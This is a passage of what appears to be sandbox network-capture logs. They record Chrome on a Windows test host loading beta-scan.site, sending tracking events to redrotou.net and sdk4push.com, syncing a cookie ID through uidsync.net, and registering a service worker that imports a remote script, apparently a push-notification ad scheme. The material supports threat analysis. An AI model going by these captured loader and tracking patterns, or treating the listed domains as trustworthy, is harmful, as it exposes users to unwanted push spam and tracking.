2024-10-03 15:19:02 UTC	26	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 74 72 75 65 2c 22 63 6f 64 65 22 3a 22 22 7d 0a Data Ascii: {"status":true,"code":""}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.17	55820	139.45.197.251	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:02 UTC	608	OUT	POST /event HTTP/1.1 Host: redrotou.net Connection: keep-alive Content-Length: 785 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://beta-scan.site Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:02 UTC	785	OUT	Data Raw: 7b 22 63 6f 64 65 22 3a 22 63 75 73 74 6f 6d 22 2c 22 7a 6f 6e 65 5f 69 64 22 3a 36 35 30 38 38 30 34 2c 22 73 77 5f 76 65 72 73 69 6f 6e 22 3a 22 33 2e 31 2e 35 36 30 22 2c 22 74 72 61 63 65 5f 69 64 22 3a 22 61 66 64 33 62 30 66 61 2d 66 65 61 36 2d 34 64 62 63 2d 61 61 64 31 2d 30 64 63 32 39 31 35 32 31 37 34 34 22 2c 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 62 65 74 61 2d 73 63 61 6e 2e 73 69 74 65 2f 63 31 64 35 6c 32 6b 2e 70 68 70 3f 6b 65 79 3d 67 38 30 6b 64 32 77 6e 72 69 65 33 79 74 73 37 6d 61 34 35 26 63 6f 73 74 3d 30 2e 30 39 30 30 30 26 63 61 6d 70 5f 69 64 3d 37 36 36 37 31 36 26 63 6f 75 6e 74 72 79 3d 55 53 26 70 6c 61 74 66 6f 72 6d 3d 57 69 6e 64 6f 77 73 26 7a 6f 6e 65 5f 69 64 3d 26 73 6f 75 72 63 65 5f 69 64 3d Data Ascii: {"code":"custom","zone_id":6508804,"sw_version":"3.1.560","trace_id":"afd3b0fa-fea6-4dbc-aad1-0dc291521744","location":"https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=
2024-10-03 15:19:02 UTC	552	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 15:19:02 GMT Content-Type: application/json; charset=utf-8 Content-Length: 26 Connection: close Accept-Ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model Access-Control-Allow-Origin: https://beta-scan.site Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Origin, X-Requested-With, X-Oaid, Content-Type, Accept Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff
2024-10-03 15:19:02 UTC	26	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 74 72 75 65 2c 22 63 6f 64 65 22 3a 22 22 7d 0a Data Ascii: {"status":true,"code":""}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.17	55818	139.45.197.251	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:02 UTC	608	OUT	POST /event HTTP/1.1 Host: redrotou.net Connection: keep-alive Content-Length: 784 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://beta-scan.site Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:02 UTC	784	OUT	Data Raw: 7b 22 63 6f 64 65 22 3a 22 63 75 73 74 6f 6d 22 2c 22 7a 6f 6e 65 5f 69 64 22 3a 36 35 30 38 38 30 34 2c 22 73 77 5f 76 65 72 73 69 6f 6e 22 3a 22 33 2e 31 2e 35 36 30 22 2c 22 74 72 61 63 65 5f 69 64 22 3a 22 61 66 64 33 62 30 66 61 2d 66 65 61 36 2d 34 64 62 63 2d 61 61 64 31 2d 30 64 63 32 39 31 35 32 31 37 34 34 22 2c 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 62 65 74 61 2d 73 63 61 6e 2e 73 69 74 65 2f 63 31 64 35 6c 32 6b 2e 70 68 70 3f 6b 65 79 3d 67 38 30 6b 64 32 77 6e 72 69 65 33 79 74 73 37 6d 61 34 35 26 63 6f 73 74 3d 30 2e 30 39 30 30 30 26 63 61 6d 70 5f 69 64 3d 37 36 36 37 31 36 26 63 6f 75 6e 74 72 79 3d 55 53 26 70 6c 61 74 66 6f 72 6d 3d 57 69 6e 64 6f 77 73 26 7a 6f 6e 65 5f 69 64 3d 26 73 6f 75 72 63 65 5f 69 64 3d Data Ascii: {"code":"custom","zone_id":6508804,"sw_version":"3.1.560","trace_id":"afd3b0fa-fea6-4dbc-aad1-0dc291521744","location":"https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=
2024-10-03 15:19:02 UTC	552	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 15:19:02 GMT Content-Type: application/json; charset=utf-8 Content-Length: 26 Connection: close Accept-Ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model Access-Control-Allow-Origin: https://beta-scan.site Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Origin, X-Requested-With, X-Oaid, Content-Type, Accept Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff
2024-10-03 15:19:02 UTC	26	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 74 72 75 65 2c 22 63 6f 64 65 22 3a 22 22 7d 0a Data Ascii: {"status":true,"code":""}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.17	55816	139.45.197.251	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:02 UTC	608	OUT	POST /event HTTP/1.1 Host: redrotou.net Connection: keep-alive Content-Length: 792 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://beta-scan.site Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:02 UTC	792	OUT	Data Raw: 7b 22 63 6f 64 65 22 3a 22 63 75 73 74 6f 6d 22 2c 22 7a 6f 6e 65 5f 69 64 22 3a 36 35 30 38 38 30 34 2c 22 73 77 5f 76 65 72 73 69 6f 6e 22 3a 22 33 2e 31 2e 35 36 30 22 2c 22 74 72 61 63 65 5f 69 64 22 3a 22 61 66 64 33 62 30 66 61 2d 66 65 61 36 2d 34 64 62 63 2d 61 61 64 31 2d 30 64 63 32 39 31 35 32 31 37 34 34 22 2c 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 62 65 74 61 2d 73 63 61 6e 2e 73 69 74 65 2f 63 31 64 35 6c 32 6b 2e 70 68 70 3f 6b 65 79 3d 67 38 30 6b 64 32 77 6e 72 69 65 33 79 74 73 37 6d 61 34 35 26 63 6f 73 74 3d 30 2e 30 39 30 30 30 26 63 61 6d 70 5f 69 64 3d 37 36 36 37 31 36 26 63 6f 75 6e 74 72 79 3d 55 53 26 70 6c 61 74 66 6f 72 6d 3d 57 69 6e 64 6f 77 73 26 7a 6f 6e 65 5f 69 64 3d 26 73 6f 75 72 63 65 5f 69 64 3d Data Ascii: {"code":"custom","zone_id":6508804,"sw_version":"3.1.560","trace_id":"afd3b0fa-fea6-4dbc-aad1-0dc291521744","location":"https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=
2024-10-03 15:19:03 UTC	552	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 15:19:03 GMT Content-Type: application/json; charset=utf-8 Content-Length: 26 Connection: close Accept-Ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model Access-Control-Allow-Origin: https://beta-scan.site Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Origin, X-Requested-With, X-Oaid, Content-Type, Accept Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff
2024-10-03 15:19:03 UTC	26	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 74 72 75 65 2c 22 63 6f 64 65 22 3a 22 22 7d 0a Data Ascii: {"status":true,"code":""}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.17	55815	139.45.197.251	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:02 UTC	608	OUT	POST /event HTTP/1.1 Host: redrotou.net Connection: keep-alive Content-Length: 806 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://beta-scan.site Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:02 UTC	806	OUT	Data Raw: 7b 22 63 6f 64 65 22 3a 22 63 75 73 74 6f 6d 22 2c 22 7a 6f 6e 65 5f 69 64 22 3a 36 35 30 38 38 30 34 2c 22 73 77 5f 76 65 72 73 69 6f 6e 22 3a 22 33 2e 31 2e 35 36 30 22 2c 22 74 72 61 63 65 5f 69 64 22 3a 22 61 66 64 33 62 30 66 61 2d 66 65 61 36 2d 34 64 62 63 2d 61 61 64 31 2d 30 64 63 32 39 31 35 32 31 37 34 34 22 2c 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 62 65 74 61 2d 73 63 61 6e 2e 73 69 74 65 2f 63 31 64 35 6c 32 6b 2e 70 68 70 3f 6b 65 79 3d 67 38 30 6b 64 32 77 6e 72 69 65 33 79 74 73 37 6d 61 34 35 26 63 6f 73 74 3d 30 2e 30 39 30 30 30 26 63 61 6d 70 5f 69 64 3d 37 36 36 37 31 36 26 63 6f 75 6e 74 72 79 3d 55 53 26 70 6c 61 74 66 6f 72 6d 3d 57 69 6e 64 6f 77 73 26 7a 6f 6e 65 5f 69 64 3d 26 73 6f 75 72 63 65 5f 69 64 3d Data Ascii: {"code":"custom","zone_id":6508804,"sw_version":"3.1.560","trace_id":"afd3b0fa-fea6-4dbc-aad1-0dc291521744","location":"https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=
2024-10-03 15:19:03 UTC	552	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 15:19:03 GMT Content-Type: application/json; charset=utf-8 Content-Length: 26 Connection: close Accept-Ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model Access-Control-Allow-Origin: https://beta-scan.site Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Origin, X-Requested-With, X-Oaid, Content-Type, Accept Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff
2024-10-03 15:19:03 UTC	26	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 74 72 75 65 2c 22 63 6f 64 65 22 3a 22 22 7d 0a Data Ascii: {"status":true,"code":""}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.17	55819	157.90.33.121	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:02 UTC	618	OUT	POST /event?z=1211351 HTTP/1.1 Host: sdk4push.com Connection: keep-alive Content-Length: 518 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://beta-scan.site Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:02 UTC	518	OUT	Data Raw: 7b 22 65 76 65 6e 74 22 3a 22 72 65 71 75 65 73 74 22 2c 22 7a 6f 6e 65 5f 69 64 22 3a 31 32 31 31 33 35 31 2c 22 73 75 62 69 64 31 22 3a 22 22 2c 22 73 75 62 69 64 32 22 3a 22 22 2c 22 65 78 74 5f 63 6c 69 63 6b 5f 69 64 22 3a 6e 75 6c 6c 2c 22 63 6c 69 65 6e 74 5f 68 69 6e 74 73 22 3a 7b 22 61 72 63 68 69 74 65 63 74 75 72 65 22 3a 22 78 38 36 22 2c 22 62 69 74 6e 65 73 73 22 3a 22 36 34 22 2c 22 62 72 61 6e 64 73 22 3a 5b 7b 22 62 72 61 6e 64 22 3a 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 31 37 22 7d 2c 7b 22 62 72 61 6e 64 22 3a 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 38 22 7d 2c 7b 22 62 72 61 6e 64 22 3a 22 43 68 72 6f 6d 69 75 6d 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 Data Ascii: {"event":"request","zone_id":1211351,"subid1":"","subid2":"","ext_click_id":null,"client_hints":{"architecture":"x86","bitness":"64","brands":[{"brand":"Google Chrome","version":"117"},{"brand":"Not;A=Brand","version":"8"},{"brand":"Chromium","version":"1
2024-10-03 15:19:03 UTC	761	IN	HTTP/1.1 200 OK Server: Angie Date: Thu, 03 Oct 2024 15:19:03 GMT Content-Length: 0 Connection: close Access-Control-Allow-Origin: https://beta-scan.site Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, Authorization, X-CSRF-Token Access-Control-Expose-Headers: Authorization Cache-Control: no-cache, max-age=0, must-revalidate, proxy-revalidate, no-store Pragma: no-cache Expires: Tue, 11 Jan 1994 00:00:00 GMT Accept-Ch: Sec-CH-UA, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Model, Sec-CH-UA-Bitness, Sec-CH-UA-Wow64

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.17	55821	178.63.248.56	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:02 UTC	630	OUT	GET /sync?user_id=z7YIJmA5V79T4qGeMcPXsF HTTP/1.1 Host: uidsync.net Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://beta-scan.site Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:03 UTC	921	IN	HTTP/1.1 200 OK Server: Angie Date: Thu, 03 Oct 2024 15:19:03 GMT Content-Type: application/json; charset=utf-8 Content-Length: 62 Connection: close Access-Control-Allow-Origin: https://beta-scan.site Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, Authorization, X-CSRF-Token Access-Control-Expose-Headers: Authorization Cache-Control: no-cache, max-age=0, must-revalidate, proxy-revalidate, no-store Pragma: no-cache Expires: Tue, 11 Jan 1994 00:00:00 GMT Accept-Ch: Sec-CH-UA, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Model, Sec-CH-UA-Bitness, Sec-CH-UA-Wow64 Set-Cookie: rauid=z7YIJmA5V79T4qGeMcPXsF; expires=Fri, 03 Oct 2025 15:19:03 GMT; path=/; secure; SameSite=None
2024-10-03 15:19:03 UTC	62	IN	Data Raw: 7b 22 75 73 65 72 5f 69 64 22 3a 22 7a 37 59 49 4a 6d 41 35 56 37 39 54 34 71 47 65 4d 63 50 58 73 46 22 2c 22 73 6b 69 70 5f 73 75 62 73 63 72 69 70 74 69 6f 6e 22 3a 66 61 6c 73 65 7d Data Ascii: {"user_id":"z7YIJmA5V79T4qGeMcPXsF","skip_subscription":false}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.17	55822	139.45.197.251	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:03 UTC	608	OUT	POST /event HTTP/1.1 Host: redrotou.net Connection: keep-alive Content-Length: 800 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://beta-scan.site Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:03 UTC	800	OUT	Data Raw: 7b 22 63 6f 64 65 22 3a 22 63 75 73 74 6f 6d 22 2c 22 7a 6f 6e 65 5f 69 64 22 3a 36 35 30 38 38 30 34 2c 22 73 77 5f 76 65 72 73 69 6f 6e 22 3a 22 33 2e 31 2e 35 36 30 22 2c 22 74 72 61 63 65 5f 69 64 22 3a 22 61 66 64 33 62 30 66 61 2d 66 65 61 36 2d 34 64 62 63 2d 61 61 64 31 2d 30 64 63 32 39 31 35 32 31 37 34 34 22 2c 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 62 65 74 61 2d 73 63 61 6e 2e 73 69 74 65 2f 63 31 64 35 6c 32 6b 2e 70 68 70 3f 6b 65 79 3d 67 38 30 6b 64 32 77 6e 72 69 65 33 79 74 73 37 6d 61 34 35 26 63 6f 73 74 3d 30 2e 30 39 30 30 30 26 63 61 6d 70 5f 69 64 3d 37 36 36 37 31 36 26 63 6f 75 6e 74 72 79 3d 55 53 26 70 6c 61 74 66 6f 72 6d 3d 57 69 6e 64 6f 77 73 26 7a 6f 6e 65 5f 69 64 3d 26 73 6f 75 72 63 65 5f 69 64 3d Data Ascii: {"code":"custom","zone_id":6508804,"sw_version":"3.1.560","trace_id":"afd3b0fa-fea6-4dbc-aad1-0dc291521744","location":"https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=
2024-10-03 15:19:04 UTC	552	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 15:19:04 GMT Content-Type: application/json; charset=utf-8 Content-Length: 26 Connection: close Accept-Ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model Access-Control-Allow-Origin: https://beta-scan.site Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Origin, X-Requested-With, X-Oaid, Content-Type, Accept Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff
2024-10-03 15:19:04 UTC	26	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 74 72 75 65 2c 22 63 6f 64 65 22 3a 22 22 7d 0a Data Ascii: {"status":true,"code":""}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.17	55828	178.63.248.56	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:04 UTC	408	OUT	GET /sync?user_id=z7YIJmA5V79T4qGeMcPXsF HTTP/1.1 Host: uidsync.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: rauid=z7YIJmA5V79T4qGeMcPXsF
2024-10-03 15:19:04 UTC	269	IN	HTTP/1.1 200 OK Server: Angie Date: Thu, 03 Oct 2024 15:19:04 GMT Content-Type: application/json; charset=utf-8 Content-Length: 62 Connection: close Set-Cookie: rauid=z7YIJmA5V79T4qGeMcPXsF; expires=Fri, 03 Oct 2025 15:19:04 GMT; path=/; secure; SameSite=None
2024-10-03 15:19:04 UTC	62	IN	Data Raw: 7b 22 75 73 65 72 5f 69 64 22 3a 22 7a 37 59 49 4a 6d 41 35 56 37 39 54 34 71 47 65 4d 63 50 58 73 46 22 2c 22 73 6b 69 70 5f 73 75 62 73 63 72 69 70 74 69 6f 6e 22 3a 66 61 6c 73 65 7d Data Ascii: {"user_id":"z7YIJmA5V79T4qGeMcPXsF","skip_subscription":false}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.17	55834	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:08 UTC	703	OUT	GET /1211351.sw.js HTTP/1.1 Host: beta-scan.site Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:19:08 UTC	290	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:19:08 GMT Content-Type: application/javascript Content-Length: 112 Last-Modified: Sat, 31 Aug 2024 12:45:26 GMT Connection: close ETag: "66d31066-70" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-10-03 15:19:08 UTC	112	IN	Data Raw: 73 65 6c 66 2e 6f 70 74 73 20 3d 20 7b 0a 20 20 20 20 7a 6f 6e 65 49 44 3a 20 31 32 31 31 33 35 31 2c 0a 20 20 20 20 73 77 44 6f 6d 61 69 6e 3a 20 22 73 64 6b 34 70 75 73 68 2e 63 6f 6d 22 2c 0a 7d 0a 69 6d 70 6f 72 74 53 63 72 69 70 74 73 28 22 68 74 74 70 73 3a 2f 2f 73 64 6b 34 70 75 73 68 2e 63 6f 6d 2f 66 2f 73 77 2e 6a 73 22 29 Data Ascii: self.opts = { zoneID: 1211351, swDomain: "sdk4push.com",}importScripts("https://sdk4push.com/f/sw.js")

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.17	55832	139.45.197.251	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:08 UTC	608	OUT	POST /event HTTP/1.1 Host: redrotou.net Connection: keep-alive Content-Length: 816 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://beta-scan.site Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:08 UTC	816	OUT	Data Raw: 7b 22 63 6f 64 65 22 3a 22 63 75 73 74 6f 6d 22 2c 22 7a 6f 6e 65 5f 69 64 22 3a 36 35 30 38 38 30 34 2c 22 73 77 5f 76 65 72 73 69 6f 6e 22 3a 22 33 2e 31 2e 35 36 30 22 2c 22 74 72 61 63 65 5f 69 64 22 3a 22 61 66 64 33 62 30 66 61 2d 66 65 61 36 2d 34 64 62 63 2d 61 61 64 31 2d 30 64 63 32 39 31 35 32 31 37 34 34 22 2c 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 62 65 74 61 2d 73 63 61 6e 2e 73 69 74 65 2f 63 31 64 35 6c 32 6b 2e 70 68 70 3f 6b 65 79 3d 67 38 30 6b 64 32 77 6e 72 69 65 33 79 74 73 37 6d 61 34 35 26 63 6f 73 74 3d 30 2e 30 39 30 30 30 26 63 61 6d 70 5f 69 64 3d 37 36 36 37 31 36 26 63 6f 75 6e 74 72 79 3d 55 53 26 70 6c 61 74 66 6f 72 6d 3d 57 69 6e 64 6f 77 73 26 7a 6f 6e 65 5f 69 64 3d 26 73 6f 75 72 63 65 5f 69 64 3d Data Ascii: {"code":"custom","zone_id":6508804,"sw_version":"3.1.560","trace_id":"afd3b0fa-fea6-4dbc-aad1-0dc291521744","location":"https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=
2024-10-03 15:19:08 UTC	552	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 15:19:08 GMT Content-Type: application/json; charset=utf-8 Content-Length: 26 Connection: close Accept-Ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model Access-Control-Allow-Origin: https://beta-scan.site Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Origin, X-Requested-With, X-Oaid, Content-Type, Accept Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff
2024-10-03 15:19:08 UTC	26	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 74 72 75 65 2c 22 63 6f 64 65 22 3a 22 22 7d 0a Data Ascii: {"status":true,"code":""}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.17	55833	139.45.197.251	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
